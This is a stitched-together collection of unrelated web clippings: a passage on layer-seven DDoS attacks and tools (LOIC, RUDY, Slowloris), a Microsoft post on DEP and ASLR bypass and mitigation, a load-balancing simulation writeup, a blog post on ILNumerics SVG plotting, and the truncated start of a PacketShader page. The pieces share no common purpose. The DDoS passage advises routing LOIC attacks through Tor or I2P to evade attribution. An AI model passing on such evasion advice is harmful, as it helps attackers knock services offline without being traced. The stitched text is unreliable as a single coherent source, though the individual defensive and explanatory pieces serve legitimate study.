VIEW ETHICAL HACKING

Application-Exploit Attacks

The attack vectors here are vulnerabilities in applications, for instance,
hidden-field manipulation, buffer overflows, scripting vulnerabilities, cross-
site scripting, cookie poisoning, and SQL injection.

\(Arbor Networks, Inc. 2012\)

**_Layer seven DDoS methods_**

First and foremost, it’s important to note that this means of attack manages
to complete the three-way TCP handshake, hereby evading devices and measures
that give protection against layer four DdoS attacks. These attacks often
appear normal and fly under the radar. The second phase of the DDoS attack is
different, however, contingent on application type and the methodology chosen
by the aggressive side. Some examples of HTTP attacks:

HTTP GET

This approach uses GET requests; meant to acquire particular data at a URL
point. By entering a URL in the relevant bar, a GET request is also ready
\(Pornin, 2013\).

HTTP GET flooding is when many of these requests, sometimes tens of thousands,
are sent within a short period of time, attempting to drain server resources.
Simplicity itself makes this type of DDoS attack more common.

Other HTTP GET-based methods are HTTP Malformed Attacks that dispatch invalid
HTTP packets \(e.g., ZafiB worm\), and HTTP Idle Attacks that slowly send
incomplete HTTP requests \(Arbor Networks, Inc. 2012\).

HTTP POST

This method employs HTTP POST requests used with forms whose entire set of
headers is sent correctly, including the Content-Length number. However, the
distinction here is a POST message body that is sent at a very low rate
\(Content-Length transmitted byte by byte\). They preclude connection from
proper completion \(Imperva, 2012\). Hence, practically any website that has
forms accepting HTTP POST requests \(for example, submitting feedback, login,
uploading photo/video attachments, sending email and etc.\) is susceptible to
this method \(The OWASP Foundation, 2010\).

HTTP Slow Read

The modus operandi here functions the other way around, the data isn’t being
pushed slowly to the server, the malicious entity himself forces the targeted
server to forward a large amount of data, which, in turn, is read again in a
drawn-out, protracted manner. When the connection process is established, the
attacker produces a tiny receive window, which compels the server to break
down the response to many small fragments that’ll fit the buffer size, leading
eventually to extremely slow ongoing responses \(Imperva, 2012\).

**Want to learn more??** The InfoSec Institute Ethical Hacking course goes in-
depth into the techniques used by malicious, black hat hackers with attention
getting lectures and **hands-on lab exercises**. While these hacking skills
can be used for malicious purposes, this class teaches you how to use the same
hacking techniques to perform a white-hat, ethical hack, on your organization.
You leave with the ability to quantitatively assess and measure threats to
information assets; and discover where your organization is most vulnerable to
black hat hackers. Some features of this course include:

  * **Dual Certification** \- CEH and CPT
  * 5 days of Intensive **Hands-On Labs**
  * Expert Instruction
  * CTF exercises in the evening
  * Most up-to-date proprietary courseware available

VIEW ETHICAL HACKING

As the author of this method says, “the idea of the attack I implemented is
pretty simple; bypass policies that filter slow-deciding customers, send a
legitimate HTTP request and read the response slowly, aiming to keep as many
connections as possible active \(Henderson, 2012, par. 3\).”

## Others  

Although HTTP is the most targeted protocol, other application types are
attacked as well, such as; DNS dictionary attacks, VoIP \(SIP INVITE Flood
Attack\), SMTP buffer overflow attacks. \(Arbor Networks, Inc. 2012\).

## _Layer seven DDoS Tools_  

## LOIC \(Low Orbit Ion Cannon\)  

Originally created as a network stress testing application, LOIC is now a
widely-used open-source flooding tool used for DDoS attacks by Anonymous. It
generates illegitimate UDP, TCP, or HTTP \(HTTP GET method\) packets that
inundate a web server under attack. For coordinated DDoS attacks, hacktivists
often recourse to the Hive Mind mode in order to harness a great number of
computers. \(http://security.radware.com/knowledge-center/DDoSPedia/loic-low-
orbit-ion-cannon/

IRC \(Internet Relay Chat\) allows remote control of many machines, such as
botnets. No advanced IT literacy is needed to use LOIC, which that predisposes
it to drawing more people to hacktivists’ causes.
\(http://ethicalhackingtech9.blogspot.com/2013/01/loic-low-orbit-ion-cannon-
ddos-tool\_11.html2013\)

Convenient as most mobile objects are, the mobile version of LOIC represents
an attack page that contains JavaScript attacking code, which is downloaded
automatically to the visitor’s browser and executed. Then, the script
generates a new image, a victim’s web page, which goes under DDoS assaults as
long as it remains open on the visitor’s browser.

The accessibility, simplicity, and normal appearance of this tool gives a
feeling of safety, especially when it comes to users that are concerned about
breaking the law. \(Imperva, 2012\)

Speaking of legal implications, the use of LOIC isn’t anonymous, which means
that perpetrators may be revealed through the chain of causation attacking IP
addresses to ISPs. A good idea would be to route the strike through
anonymizer, such as Tor or I2P.

“If you try to run it through the Tor network…layer seven attacks… it’s like a
guided missile: it just sends a few packets that do not harm anything, and
when it gets to the server, bang\! The server becomes unavailable.” \(David B,
2012, par. 12\)

R.U.DY \(R U Dead Yet?\)

A perfect description is provided by http://www.ehacking.net \(2011, par. 4\):

“R-U-Dead-Yet, or RUDY for short, implements the generic HTTP DoS attack via
long field submissions \[HTTP POST\]. This tool runs with an interactive
console menu, automatically detecting forms within given URL, and allowing the
user to choose which forms and form fields are desirable to use for the
parameters within a configuration file. In version 2.x RUDY supports SOCKS
proxies and session persistence using cookies when available.”

Slowloris

Slowloris is a GET-based DDoS instrument founded on the concept of exhausting
server resources with limited investment in the process. Since the sole target
is usually the web server, excluding other services, this tool passes as more
stealthy than most. \(Imperva, 2012\)

Slowloris directly implements HTTP GET attack postures. Once the penetration
reaches the application zone, the attacker launches a multitude of requests
that have incomplete and time-delayed HTTP refer headers. That’s done in order
to keep the HTTP connection open for as long as is needed to deplete the web
server threads or resources. \(The OWASP Foundation, 2010\)

When the server receives a partial HTTP header, it assumes that a user is on
an unreliable and slow network, and the rest will arrive in fragmented
packets. Instead, the request usually never gets completed and, “to express
its gratitude to bad customer service,” ties up incoming lines.

**Diagram**

Slowloris isn’t a flooding tool, and normally only a minimally distributed
effort is needed to work. Some web servers that are vulnerable to this attack
include: Apache 1.x, Apache 2.x, dhttpd, and GoAhead WebServer.
\(http://www.bullten.com, 2011\)

Regarding the Slowloris subject, an interesting case was the hunt of
hacktivists participating in DDoS attacks on the U.S. Department of Justice,
whitehouse.gov, and music label UMG. That happened immediately after the
arrest of Kim Dotcom in January 2012. An unknown hacker succeeded in smuggling
a Zeus trojan in a publicly available Slowloris tool. As a result, every
hacktivist who downloaded the application had their own PC compromised.
\(Bangeman, 2012\)

Other Tools

Dirt Jumper – Method: HTTP flood, SYN flood, POST flood, and more.

Tor’s Hammer – Method: Slow POST

Nuclear DDoSer – Method: Slowloris, Slow POST

Railgun – Method: Slowloris or Slow POST

**Conclusion**

Just like how everything in this paper revolves around the number seven, this
conclusion will provide seven basic things you should know about layer seven
DDoS attacks:

  1. They attack the top layer OSI model.
  2. They have low bandwidth consumption.
  3. They have a legitimate and stealth appearance.
  4. They’re mostly non-volumetric.
  5. They’re increasingly popular.
  6. There are a variety of methods, targets, and open-source tools.
  7. They’re difficult to defend against.

**INTERESTED IN LEARNING MORE? CHECK OUT OURETHICAL HACKING TRAINING COURSE.
FILL OUT THE FORM BELOW FOR A COURSE SYLLABUS AND PRICING INFORMATION.**

**Reference List**

Abliz, M. \(2011\). _internet Denial of Service Attacks and Defense
Mechanisms_. Retrieved on 13/10/2013 from
http://people.cs.pitt.edu/~mehmud/docs/abliz11-TR-11-178.pdf

Arbor Networks, Inc. \(2012\). _The Growing Threat ofApplication-Layer DDoS
Attacks_. Retrieve on 13/10/2013 from
http://whitepapers.datacenterknowledge.com/content12127

Bangeman, E. \(2012\). _Slowloris DDoS tool used by Anonymous hacked to
include Zeus trojan_. Retrieved on 13/10.2013 from
http://arstechnica.com/tech-policy/2012/03/slowloris-ddos-tool-used-by-
anonymous-hacked-to-include-zeus-trojan/

Beitollahi, H. & Deconinck, G. \(2011\). _Tackling Application-layer DDoS
Attacks_. Retrieved on 13/10/2013 from
http://www.esat.kuleuven.be/electa/publications/fulltexts/pub\_2334.pdf

BreakingPoint Labs, 2011. _Application-Layer DDoS Attacks Are Growing: Three
to Watch Out For_. Retrieved on 13/10/2013 from http://blogs.ixiacom.com/ixia-
blog/application-layer-ddos-attacks-growing/

david b.

\(2012\). Generations of DoS attacks 2: Layer 4, layer seven and Link-Local
IPv6 attacks. Retrieved on 13/10/2013 from http://privacy-
pc.com/articles/generations-of-dos-attacks-2-layer-4-layer-7-and-link-local-
ipv6-attacks.html

F5 Networks, Inc. \(2013\). _Mitigating DDoS Attacks with F5 Technology_.
Retrieved on 13/10/2013 from http://www.f5.com/pdf/white-papers/mitigating-
ddos-attacks-tech-brief.pdf

Henderson, N. \(2012\). _Slow Read DOS Attack Created by Software Engineer
Shows HTTP Server Vulnerability_. Retrieved on 13/10/2013 from
http://www.thewhir.com/web-hosting-news/slow-read-dos-attack-created-by-
software-engineer-shows-http-server-vulnerability

http://www.bullten.com \(2011\). _What is SlowlorisDOS Attack and How to
Mitigate Its Effect_. Retrieved on 13/10/2013 from
http://www.bullten.com/blog/what-is-slowiris-ddos-attack-and-how-to-mitigate-
its-effect/

http://ethicalhackingtech9.blogspot.com

\(2011\). _LOIC-Low Orbit Ion Cannon- \(DDoS\) tool_. Retrieved on 13/10/2013
from http://ethicalhackingtech9.blogspot.com/2013/01/loic-low-orbit-ion-
cannon-ddos-tool\_11.html

http://unknownhad.wordpress.com  
  
\(2013\)._What is DDOS layer seven and Layer 4 and Low-Rate Ddos_. Retrieved
on 13/10/2013 from http://unknownhad.wordpress.com/2013/03/16/what-is-ddos-
layer-7-and-layer-4-and-low-rate-ddos/

Imperva \(2012\). _Denial of Service Attacks: A Comprehensive Guide to Trends,
Techniques, and Technologies_. Retrieved on 13/10/2013 from
https://www.imperva.com/docs/HII\_Denial\_of\_Service\_Attacks-
Trends\_Techniques\_and\_Technologies.pdf

Katz, O. \(2012\). _Protecting Against Application DDoS Attacks with BIG-IP
ASM A Three Step Solution_. Retrieved on 13/10/2013 from
http://www.f5.com/pdf/white-papers/ddos-attacks-asm-tb.pdf

Kenig, R. \(2013\). _Why Low & Slod DDoS Application Attacks are Difficult to
Mitigate_. Retrieved on 13/10/2013 from
http://blog.radware.com/security/2013/06/why-low-slow-ddosattacks-are-
difficult-to-mitigate/

LOIC \(Low Orbit Ion Cannon\). Retrieved on 13/10/2013 from  
http://security.radware.com/knowledge-center/DDoSPedia/loic-low-orbit-ion-
cannon/

Manthena, R. \(2011\). _Application-layer Denial of Service_. Retrieve on
13/10/2013 from  
http://forums.juniper.net/t5/Security-Mobility-Now/Application-layer-Denial-
of-Service/ba-p/103306

Ponin, T. \(2013\). Retrieved on 13/10/2013 from  
http://security.stackexchange.com/questions/29220/what-is-http-get-post-
flooding-attack

Scanlon P. \(Arbor Networks, Inc.\) \(2012\). _DDoS Threat Trends and Data_.
Retrieved on 13/10/2013 from https://www.arbornetworks.com/docman-
component/doc\_download/500-arbor-2010-security-report-findings

The OWASP Foundation \(2010\). _H…..t…..t….p…….p….o….s….t_ . Retrieved on
13/10/2013 from https://www.owasp.org/images/4/43/Layer\_7\_DDOS.pdf

Diagrams:

Diagram 2 – Based on _4 Massive Myths of DDoS_ by Carl Herberger, Myth \# 2
Graph. Retrieved on 13/10/2013 from
http://blog.radware.com/security/2012/02/4-massive-myths-of-ddos/

Diagram 3 – Based on _Global DDoS Attack KEY METRICS_ by Prolexic. Retrieved
on 13/10/2013 from http://www.prolexic.com/knowledge-center-ddos-attack-
report-2011-2012-metrics-graph.html

Diagram 4 – Based on information provided by Prolexic Technologies Inc. on
page 9 of _Prolexic Quarterly Global DDoS Attack Report Q 2013._ Retrieved on
13/10/2013 from http://www.prolexic.com/knowledge-center-ddos-attack-
report-q2-2013-vs-q1-2013-metrics-graph.html

Diagram 5 – Based on a graph provided by Imperva on page 3 of _Denial of
Service Attacks: A Comprehensive Guide to Trends, Techniques, and
Technologies_. Retrieved on 13/10/2013 from
https://www.imperva.com/docs/HII\_Denial\_of\_Service\_Attacks-
Trends\_Techniques\_and\_Technologies.pdf

# On the effectiveness of DEP and ASLR - Security Research & Defense - Site
Home - TechNet Blogs

**Created:**| _12/8/2010 9:48:28 PM_  
---|---  
**Updated:**| _12/8/2010 9:48:50 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security aslr Microsoft_  
  

### On the effectiveness of DEP and ASLR

<img src='img/Temp2_5805.gif' /> swiblog

8 Dec 2010 9:59 AM

  * Comments 0

DEP \(Data Execution Prevention\) and ASLR \(Address Space Layout
Randomization\) have proven themselves to be important and effective
countermeasures against the types of exploits that we see in the wild today.
Of course, any useful mitigation technology will attract scrutiny, and over
the past year there has been an increasing amount of research and discussion
on the subject of bypassing DEP and ASLR \[1,2\]. In this blog post we wanted
to spend some time discussing the effectiveness of these mitigations by
providing some context for the bypass techniques that have been outlined in
attack research. The key points that should be taken away from this blog post
are:

  * DEP and ASLR are designed to increase an attacker's exploit development costs and decrease their return on investment.
  * The combination of DEP and ASLR is very effective at breaking the types of exploits we see in the wild today, but there are circumstances where they can both be bypassed.
  * Exploits targeting Microsoft and third party vulnerabilities have been created that are capable of bypassing DEP and ASLR in the context of browsers and third party applications.
  * We are currently not aware of any remote exploits that are capable of bypassing DEP and ASLR in the context of in-box Windows services and various other application domains.
  * Knowledge of potential bypass techniques directly informs our future work to improve the robustness and resiliency of DEP, ASLR, and our other mitigation technologies.

# DEP effectiveness \(without ASLR\)

In a previous blog post series we went into detail on what DEP is and how it
works\[part 1, part 2\]. In summary, the purpose of DEP is to prevent
attackers from being able to execute data as if it were code. This stops an
attacker from being able to directly execute code from the stack, heap, and
other non-code memory regions. As such, exploitation techniques like heap
spraying \(of shellcode\) or returning into the stack are not immediately
possible.

The effectiveness of DEP hinges on the attacker not being able to 1\) leverage
code that is already executable or 2\) make the attacker's data become
executable \(and thus appear to be code\). On platforms without ASLR \(that
is, versions of Windows prior to Windows Vista\), it is often straightforward
for an attacker to find and leverage code that exists in modules \(DLLs and
EXEs\) that have been loaded at predictable locations in the address space of
a process. Return-oriented programming \(ROP\) is perhaps the most extensive
example of how an attacker can use code from loaded modules in place of \(or
as a stepping stone to\) their shellcode \[3,1\]. In addition to loaded
modules, certain facilities \(such as Just-In-Time compilers\) can allow an
attacker to generate executable code with partially controlled content which
enables them to embed shellcode in otherwise legitimate instruction streams
\("JIT spraying"\)\[2\].

The fact that modules load at predictable addresses without ASLR also makes it
possible to turn the attacker's data into executable code. There are a variety
of ways in which this can be accomplished, but the basic approach is to use
code from loaded modules to invoke system functions like VirtualAlloc or
VirtualProtect which can be used to make the attacker's data become
executable.

**Summary** : DEP breaks exploitation techniques that attackers have
traditionally relied upon, but DEP without ASLR is not robust enough to
prevent arbitrary code execution in most cases.

# ASLR effectiveness \(without DEP\)

Attackers often make assumptions about the address space layout of a process
when developing an exploit. For example, attackers will generally assume that
a module will be loaded at a predictable address or that readable/writable
memory will exist at a specific address on all PCs. ASLR is designed to break
these assumptions by making the address space layout of a process unknown to
an attacker who does not have local access to the machine. This prevents an
attacker from being able to directly and reliably leverage code in loaded
modules.

The effectiveness of ASLR hinges on the entirety of the address space layout
remaining unknown to the attacker. In some cases memory may be mapped at
predictable addresses across PCs despite ASLR. This can happen when DLLs or
EXEs load at predictable addresses because they have not opted into ASLR via
the /DYNAMICBASE linker flag. Prior to Internet Explorer 8.0 it was also
possible for attackers to force certain types of .NET modules to load at a
predictable address in the context of the browser\[6\]. Attackers can also use
various address space spraying techniques \(such as heap spraying or JIT
spraying\) to place code or data at a predictable location in the address
space.

In cases where the address space is initially unpredictable an attacker can
attempt to discover the location of certain memory regions through the use of
an _address space information disclosure_ or through _brute forcing_\[5\]. An
address space information disclosure occurs when an attacker is able to coerce
an application into leaking one or more address \(such as the address of a
function inside a DLL\). For example, this can occur if an attacker is able to
overwrite the NUL terminator of a string and then force the application to
read from the string and provide the output back to the attacker \[4\]. The
act of reading from the string will result in adjacent memory being returned
up until a NUL terminator is encountered. This is just one example; there are
many other forms that address space information disclosures can take.

Brute forcing, on the other hand, can allow an attacker to try their exploit
multiple times against all of the possible addresses where useful code or data
may exist until they succeed. Brute forcing attacks, while possible in some
cases, are traditionally not practical when attacking applications on Windows
because an incorrect guess will cause the application to terminate.
Applications that may be subjected to brute force attacks \(such as Windows
services and Internet Explorer\) generally employ a restart policy that is
designed to prevent the process from automatically restarting after a certain
number of crashes have occurred. It is however important to note that there
are some circumstances where brute force attacks can be carried out on
Windows, such as when targeting an application where the vulnerable code path
is contained within a catch-all exception block.

Certain types of vulnerabilities can also make it possible to bypass ASLR
using what is referred to as a _partial overwrite_. This technique relies on
an attacker being able to overwrite the low order bits of an address \(which
are not subject to randomization by ASLR\) without perturbing the higher order
bits \(which are randomized by ASLR\).

**Summary** : ASLR breaks an attacker's assumptions about where code and data
are located in the address space of a process. ASLR can be bypassed if the
attacker can predict, discover, or control the location of certain memory
regions \(particularly DLL mappings\). The absence of DEP can allow an
attacker to use heap spraying to place code at a predictable location in the
address space.

# DEP+ASLR effectiveness

In the previous sections we described the effectiveness of DEP and ASLR in
isolation from one another. In reality, DEP and ASLR are designed to be used
in combination on Windows Vista and beyond. Both of these mitigations are
enabled in the context of important applications like Internet Explorer 8,
Microsoft Office 2010, and in-box services and applications that ship with the
OS. This means that attackers looking to exploit vulnerabilities in these
environments will need to overcome both obstacles \(in addition to numerous
other mitigations\).

The DEP+ASLR bypass techniques that are currently being explored in attack
research have primarily focused on identifying and refining methods of
bypassing ASLR. Once ASLR has been bypassed it is typically straightforward to
bypass DEP using established techniques such as return-oriented programming.
At this point in time there have been multiple exploits which have
demonstrated that it is possible in practice to bypass the combination of
DEP+ASLR in the context of certain application domains \(such as browsers and
third party applications\). These exploits have bypassed ASLR through the use
of predictable DLL mappings, address space information disclosures, or JIT
spraying and have bypassed DEP through the use of return-oriented programming
\(or some simpler variant thereof\) or JIT spraying. In many cases these
exploits have relied on predictable mappings caused by DLLs that ship with
third party components or by JIT compilation capabilities included in non-
default browser plugins. This means that these exploits will fail if the
required components are not installed.

Although exploits have been written which are capable of bypassing the
combination of DEP+ASLR, the vast majority of exploits that have been written
to date do not have such capabilities and instead strictly target applications
and platforms that do not enable these mitigations. This affirms our position
that DEP+ASLR are strong countermeasures for the types of attacks that we see
in the wild today despite weaknesses in their current implementations.

**Summary** : DEP+ASLR are most effective when used in combination; however,
their combined effectiveness is heavily dominated by the effectiveness of
ASLR. Exploits have been developed that are able to bypass DEP+ASLR in the
context of browsers and third-party applications. Nevertheless, the vast
majority of exploits written to date do not attempt to bypass the combination
of DEP+ASLR.

# Future directions

As we look toward the future it is clear that attackers will continue to
become increasingly incentivized to attempt to develop exploits which are
capable of bypassing the combination of DEP+ASLR. Our understanding of the
ways that DEP and ASLR can be bypassed directly informs the future work we are
doing to improve the robustness and resiliency of our mitigation technologies.
Although this work is ongoing there are two noteworthy improvements that we
would like to highlight.

The first improvement can be seen in the latest version of the Enhanced
Mitigation Experience Toolkit \(EMET\) which now includes support for a
feature known as _mandatory ASLR_. This feature enforces ASLR for all modules
regardless of whether or not they are ASLR aware \(which effectively
eliminates predictable DLL mappings when enabled on Windows Vista and above\).
This resolves the ASLR bypass technique we described previously and it has
been used in practice to successfully mitigate exploits in the wild. The
second improvement consists of JIT spraying mitigations that have been
directly incorporated into the JavaScript JIT compiler that was recently
released in the Internet Explorer 9 beta. These mitigations act as
countermeasures against the JIT spraying techniques that have been described
in attack research.

These two improvements help to further illustrate our belief that DEP, ASLR,
and exploit mitigations in general are extremely important due to the impact
they have on the cost of developing reliable exploits and due to the knowledge
demands they place on attackers. Mitigations such as these enable us to be
proactive about providing additional protection to customers who may be
running software with an unknown or unpatched vulnerability. Ultimately our
goal with exploit mitigations is to reach a point where vulnerabilities become
too expensive to reliably exploit - and this is a goal we are actively working
toward.

# Recommendations

## For enterprises and users

We recommend that enterprises and users enable DEP for all critical
applications and run a version of Windows that supports ASLR \(such as Windows
7\). The Enhanced Mitigation Experience Toolkit \(EMET\) can be used to easily
enable DEP and other mitigations for a process. You can read more about EMET
here:

http://support.microsoft.com/kb/2458544

## For ISVs

The effectiveness of mitigations like DEP and ASLR across the Windows
ecosystem is heavily contingent on ISV adoption. ISVs that are interested in
more details on how to enable DEP, ASLR, and other mitigations in their
products are encouraged to refer to the guidance below:

http://msdn.microsoft.com/en-us/library/bb430720.aspx

Matt Miller, MSEC Security Science

**References**

\[1\] Dino Dai Zovi. Practical Return-Oriented Programming. April, 2010.

\[2\] Dionysus Blazakis. Interpreter Exploitation: Pointer Inference and JIT
Spraying. February, 2010.

\[3\] Hovav Shacham. Return-Oriented Programming: Exploits Without Code
Injection. August, 2008.

\[4\] Peter Vreugdenhil. Pwn2Own 2010 Windows 7 Internet Explorer 8 Exploit.
March, 2010.

\[5\] Hovav Shacham et al. On the Effectiveness of Address-Space
Randomization. 2004.

\[6\] Alexander Sotirov and Mark Dowd. Bypassing Browser Memory Protections.
August, 2008.

\*Posting is provided "AS IS" with no warranties, and confers no rights.\*

# Liblb - A suite of load balancing policies

**Created:**| _6/29/2017 4:04:56 PM_  
---|---  
**Updated:**| _6/29/2017 4:04:56 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Why and What is liblb?

It all started when a friend of mine complained about how the load balancing
algorithm he was using wasn't delivering the outcomes he was expecting.
Because of his somewhat unique use case I was very intrigued, so I decided to
help him solve the issue. Not long after, I found myself researching the
literature on all the load balancing algorithms I could find. After a while, I
decided to build a this simulation to better evaluate the algorithms based on:

  * Algorithm simplicity
  * Load distribution
  * Affinity and cache friendliness
  * The guarantees provided

Each algorithm serves a particular use case on a different side of the
spectrum. Which should cater to most applications, ranging from CDNs to CRUD
applications that keep their state in a centralized database.

# Comparison

Algorithm | Load Distribution | Cache Friendliness | Guarantees  
---|---|---|---  
Round-Robin | Uniform load distribution, if the requests take the same time. | Not friendly, because it assigns work to hosts randomly. | All hosts will get the same number of requests.  
Two Random Choices | Max load of any server is `O(log log number_of_servers)`. | Not friendly, because it assigns work to hosts randomly. | Host's max load will be `O(log log number_of_servers)`, with high probability.  
Consistent Hashing | Load distribution is skewed, due to the random slicing of the ring. | Very friendly, because it'll always assign the same key to the same host, unless the topology changes. | When the topology changes, only `1/number_of_server` will be assigned to different hosts.  
Bounded Consistent Hashing | Max Load of a host will never exceed   
`ceil(average_load*scale_factor)`. | Very Friendly, unless a host load reaches its max, then it'll distribute requests coming to it to other hosts. | Adding or removing a host changes location of `1/(e^2)` where `e` is `scale_factor-1` \- `e` in our case is 0.25-.  
# Simulation

The simulation is derived from a day's worth of anonymized real traffic logs
donated from a major Online Classifieds site in the Middle East, which makes
the study more meaningful than a randomly generated traffic.  
  
before explaining the simulation let's talk about its Components:

  * **Client** : a user that asks for the country of a certain IP. It sends the request to one of the GeoServer hosts given to it by consulting liblb
  * **GeoServer Host** : responds the incoming queries by returning the country of the given IP either from its local Cache if found, or directly from the database.

  

Now that we got this out of the way, let's see how the simulation works:

  1. **Client** : Extracts the user's IP from the logs.
  2. **Client** : Sends the IP to the GeoServer host the _**liblb**_ gave it \(for example\) based on the selected algorithm.
  3. **GeoServer Host** : Looks in its in-memory cache, if found it increments a cache hit counter and return the cached result.
  4. **GeoServer Host** : If the IP is not found in the cache, the GeoServer Host increments a cache miss counter and returns the results from its database, while adding it in the cache.

<img src='img/Temp2_4922.png' width='511' height='266' alt='liblb simulation
architecture' />

###### Simulation Architecture

# Graphs Explanation

<img src='img/Temp2_4923.png' width='750' height='423' />

  

  * **Request Per Server Per Second** : Number of requests processed per GeoServer per second.
  * **Load Per Server** : Load is the percentage of requests sent to every GeoServer in total.
  * **Total Hits/Misses** : Total number of GeoServer cache hits and misses.
  * **Average Hits/Misses Per Second** : Average percentage of the cluster cache hits and misses per second.
  * **Total Requests** : Total number of sent requests to all GeoServers.
  * **Requests Per Server** : Average of total sent requests to a single GeoServer.
  * **Hits %** : Average percentage of the cluster cache hits per second.
  * **Misses %** : Average percentage of the cluster cache misses per second.

  

# Generating complex math visualizations in SVG using C\# and ILNumerics -
Scott Hanselman

**Created:**| _10/17/2013 8:55:52 AM_  
---|---  
**Updated:**| _10/17/2013 8:55:52 AM_  
**Author:**| __  
**Tags:**| _virtusalisation programming security metrics_  
  

# Generating complex math visualizations in SVG using C\# and ILNumerics****

I was recently turned on to the ILNumerics library**.** It's a high
performance math library for .NET developers that my math skills can barely
comprehend**.** It has a clean and elegant syntax, but more importantly, it's
visualization graphics engine is thoughtful, flexible, and well-factored**.**

Having worked on a lot of websites, including ones that do a lot of backend
image generation , resizing and analysis  \(like check imaging  almost 10
years ago \) I was impressed at how easily I was able to get an equation onto
a basic website with ILNumerics and SVG**.**

Of course, it's not just a web library, in fact, most of the samples are WPF
and WinForms, so it's an engine that you can use anywhere**.** Regardless, as
a web person, I wanted to see how quickly I could get something into my
browser**.**

The ILNumerics website has a cool sample 3D graph on their home page  that was
generics with this code:

`var scene = ``new` `ILScene {``new` `ILPlotCube(twoDMode: ``false``) {``new`
`ILSurface(ILSpecialData.sincf(40, 60, 2**.** 5f))
{``}``}``};``scene.First<ILPlotCube>().Rotation = Matrix4.Rotation(``new`
`Vector3(1f,0**.** 23f,1), 0**.** 7f);``scene;`  
---  
However, you'll notice in their sample they just end with the variable
"scene**.** " That's a no-op there, but it's their coder way of saying "at
this point, the scene variable holds a representation of our plot**.** Do with
it as you will."

> **NOTE:** **Do** check out their home page...the little sample there is
> deeper than you'd think**.** The dropdown shows they can generate PNGs,
> JPGs, JPG HD, SVG, but also "EXE**.** " Hm, download a random EXE from the
> internet? Yes please\! ;\) Take a risk and you'll get a nice self-contained
> EXE visualizer that not only renders the graph but lets you rotate it**.**
> You can download the ILView 3D viewer and play around, it's harmless - all
> the code for ILView is on GitHub **\!** The best part is that it has a built
> in REPL so you can type your C\# right there and see the results**\!** It
> even runs on Linux and uses Mono. ;\)
<img src='img/Temp2_3454.gif' alt='ILNumeric' />

Back to my goal**.** I want to use the library on a basic website and
dynamically generate an SVG of this plot**.**

Here's the same plot, put inside an ASP.NET HttpHandler  \(which could also be
made routable and used in ASP.NET MVC/Web Forms, etc**.**\)

`public` `void` `ProcessRequest(HttpContext context)``{``var scene = ``new`
`ILScene {``new` `ILPlotCube(twoDMode: ``false``) {``new`
`ILSurface(ILSpecialData.sincf(40, 60, 2**.** 5f))
{``}``}``};``scene.First<ILPlotCube>().Rotation = Matrix4.Rotation(``new`
`Vector3(1f, 0**.** 23f, 1), 0.7f);``var driver = ``new`
`ILSVGDriver(context.Response.OutputStream, 1200, 800, scene,
Color.White);``driver.Render();``}`  
---  
Here I'm passing context.Response.OutputStream to their ILSVGDriver and saving
the result not to a file, but directly out to the browser**.** I could
certainly save it to cloud blob storage or a local file system for caching,
reuse or email**.**

`using` `(FileStream fs = ``new` `FileStream(``@"test.svg"``,
FileMode.Create)) {``new` `ILSVGDriver(fs, scene:
whateveryoursceneis).Render();``}`  
---  
While a SVG is preferable, one could also make a PNG**.**

`var driver = ``new` `ILGDIDriver(1280, 800, whateveryoursceneis);
``driver.Render();``driver.BackBuffer.Bitmap.Save(``"whatever"``,
System.Drawing.Imaging.ImageFormat.Png);`  
---  
Their docs are excellent and many include a similar interactive viewer within
the website  itself**.**

It's so much more than a plot visualizer, though**.** It reminds me a little
of D3.js, except more math focused and less live-data binding**.** It's almost
as flexible though, with many kinds of visualizations beyond what you'd
expect**.**

<img src='img/Temp2_3449.gif' alt='3D graph that looks like a mountain' />

<img src='img/Temp2_3450.gif' alt='Donut graph' />

<img src='img/Temp2_3451.gif' alt='Three 3D graphs in one plot' />

<img src='img/Temp2_3453.gif' alt='Topographical plot' />

<img src='img/Temp2_3455.gif' alt='Infinite Triangles' />

<img src='img/Temp2_3452.gif' alt='Half a sphere intersected by a blue gear'
/>

Here's the code to show a green sphere that's composed of triangles, but has
the top chopped off, as an example**.** This is just 10 lines of code, and
could be made less**.**

`var scene = ``new` `ILScene(); ``// create a new sphere``var sphere = ``new`
`ILSphere(); ``// the sphere is a group containing the Fill (ILTriangles)``//
and the Wireframe (ILLines) of the sphere**.** Both shapes``// share the same
vertex positions buffer**.** Hence, we only ``// need to alter one of them:
``using` `(ILScope.Enter()) {``// take the vertex positions from the
Fill.Positions buffer``ILArray<``float``> pos =
sphere.Fill.Positions.Storage;``// set all vertices with a Y coordinate larger
than 0**.** 3 to 0.3``pos[1, pos[1, ``":"``] > 0**.** 3f] = 0.3f;``// write
all values back to the buffer``sphere.Fill.Positions.Update(pos);``}``// add
the "sphere" to the scene``scene.Camera.Add(sphere);``// add another light
(for niceness only)``scene.Add(``new` `ILPointLight() {``Position = ``new`
`Vector3(-0, 1, -2)``}); ``// move the camera upwards``scene.Camera.Position =
``new` `Vector3(0,3,-10); ``// display the scene``scene;`  
---  
And this gives you:

<img src='img/Temp2_3456.gif' alt='Half a green sphere' />

It's a really amazing project**.** ILNumerics is GPL3 and also uses OpenTK for
OpenGL bindings, and Mono.CSharp for C\# compiling and evaluation**.** ILView
is under the MIT/X11 license.

You can get it via NuGet  with just "Install-Package ILNumerics**.** " Check
it out and tell your friends, scientists, and friends of Edward Tufte **.**

* * *
**Sponsor:** Thanks to Red Gate for sponsoring the feed this week**\!** Check
out a simpler way to deploy  with Red Gate’s Deployment Manager **.** It can
deploy your .NET apps, services, and databases in a single, repeatable
process**.** Get your free Starter edition now .

#### About Scott****

Scott Hanselman is a former professor, former Chief Architect in finance, now
speaker, consultant, father, diabetic, and Microsoft employee**.** I am a
failed stand-up comic, a cornrower, and a book author**.**

About  Newsletter

****

# PacketShader - GPU-accelerated Software Router

**Created:**| _9/16/2014 3:52:02 PM_  
---|---  
**Updated:**| _9/16/2014 3:52:02 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS network-security_  
  

# GPU-accelerated Software Router

<img src='img/Temp2_6093.png' alt='PacketShader' />

A GPU-accelerated Software Router

New: The I/O engine is now available\!  
  
We have partially released the source code used in this work. You can find the
user-level packet I/O engine for Intel 82598/82599 NICs here. We do not have a
definite release plan for other parts of the PacketShader code not made
available on the web as of today.

## What is PacketShader?

PacketShader is a high-performance PC-based software router platform that
accelerates the core packet processing with Graphics Processing Units
\(GPUs\). Based on our observation that the CPU is the typical performance
bottleneck in high-speed sofware routers, we scale the computing power in a
cost-effective manner with massively-parallel GPU. PacketShader offloads
computation and memory-intensive router applications to GPUs while optimizing
